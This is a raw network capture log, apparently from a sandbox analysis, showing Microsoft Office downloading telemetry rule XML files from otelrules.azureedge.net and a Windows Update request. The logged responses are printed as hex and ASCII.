2024-11-15 12:18:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 250e4edf-c01e-002b-6cfb-366e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121825Z-16547b76f7fbkfmzhC1DFWm9tw00000000ug00000000cny7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:26 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 311992b2-201e-006e-6426-37bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121826Z-164f84587bf5xhlshC1DFW604000000001eg000000003d7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:26 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121826Z-16547b76f7fbkfmzhC1DFWm9tw00000000y0000000005z0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121826Z-16547b76f7fp6mhthC1DFWrggn0000000nag0000000010yn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 75c16ba8-801e-0067-10f8-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121826Z-164f84587bfpc2cvhC1DFW7gdw000000015g0000000036ag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30a84257-201e-006e-3afb-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121826Z-16547b76f7fr28cchC1DFWnuws0000000n3g00000000e3qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49735	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Bvm5m86EoTs5XUT&MD=wHey2B1y HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-15 12:18:26 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 08beab70-d5a5-4ae6-ae59-8aa6167d6e8e MS-RequestId: 0770675e-5742-470a-8382-8d4acff7ccce MS-CV: up4AbT9hUUyKq2Uw.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 15 Nov 2024 12:18:25 GMT Connection: close Content-Length: 24490
2024-11-15 12:18:26 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-15 12:18:26 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:26 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 7f617d81-b01e-0021-0b30-36cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121826Z-1866b5c5fbbg6vdshC1DFW20h800000001b000000000afmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:27 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121826Z-16547b76f7fj5p7mhC1DFWf8w40000000n6000000000a7fp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121826Z-16547b76f7f775p5hC1DFWzdvn0000000n400000000065ra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:27 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121827Z-1866b5c5fbbzcdbqhC1DFW3r34000000019g00000000cm5t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:27 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:26 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a12cb5ef-101e-007a-7428-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121827Z-164f84587bfgp2sdhC1DFWyhvn00000001hg000000002z47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
